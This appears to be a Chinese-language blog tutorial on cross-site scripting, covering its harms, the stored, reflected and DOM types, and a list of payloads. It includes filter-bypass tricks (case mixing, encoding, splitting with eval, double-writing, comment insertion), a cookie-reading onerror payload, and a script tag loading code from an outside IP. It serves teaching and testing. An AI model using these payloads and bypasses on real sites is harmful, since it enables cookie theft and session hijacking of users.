XSS漏洞危害
1、盗取各种用户账号
2、窃取用户cookie
3、劫持用户会话
4、刷流量,执行弹窗
漏洞分类
1、存储型
将特殊语句存储到页面,只要目标浏览该网页,就会被攻击,比如留言板。
2、反射型
只能利用一次,必须构造特殊的连接让目标点击,比如上面的登录界面
3、DOM型
不与服务器进行交互,利用在本地渲染网页时触发
payload构造
伪协议
<a href="javascript:alert(123)">aiyou</a>
事件
<img src="./1.jpg" onmouseover='alert(123)'>
<img src="#" onerror='alert(document.cookie)'>
<input type="text" onkeydown="alert(123)">
<input type="button" onclick="alert(123)">
<div style="width:expression(alert(xss))">
绕过防护
1、大小写绕过
<SCript>alert(123)</SCript>
2、引号的使用
<img src="#" onerror="alert(123)"/>
<img src='#' onerror='alert(123)'/>
<img src=# οnerrοr=alert(123) />
3、“/”代替空格
<img/src='#'/Onerror='alert(123)'>
4、对标签属性值转码
url编码:考虑到安全传输问题,防止URL字符丢失,将不安全字符编码为安全字符再进行传输
html编码:一些保留字符出现在文本节点和标签值中是不安全的,比如<>会导致浏览器误认为是标签,如果想要正确显示这些字符,需要html编码
html编码分为两种:一是实体编码 一般以&开头 ;结尾 这样<就会转换为真实的< 二是进制编码 以&#开头 ;结尾 字符数值可以是任意的十进制ASCII编码或Unicode编码
js编码:数字进制编码 \u后面加4位16进制数(unicode) 或者 \X后面加2位的16进制数(16进制编码) 按照字符的Unicode数值进行编码,不足位数以0填充
字母 ASCII 十进制编码 十六进制编码
a 97 a a
<a href="javascript:alert(123)">aiyou</a>
<img src=x onerror="alert(1)"> alert(1)
5、头插入
尾插入
<a href="javascript:alert(123)">aiyou</a>
6、拆分
<script>z='alert'</script>
<script>z=z+'(123)'</script>
<script>eval(z)</script>
7、双写绕过
<scrscriptipt>alert(123)</scscriptript>
8、注释绕过
<scr<!--test-->ipt>alert(1)</scr<!--test-->ipt>
六、外部调用
1、新建一个xss.js,内容为alert(213);
2、构建paylaod,提交
<script src="http://192.168.x.xxx/js/xss.js"></script>
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构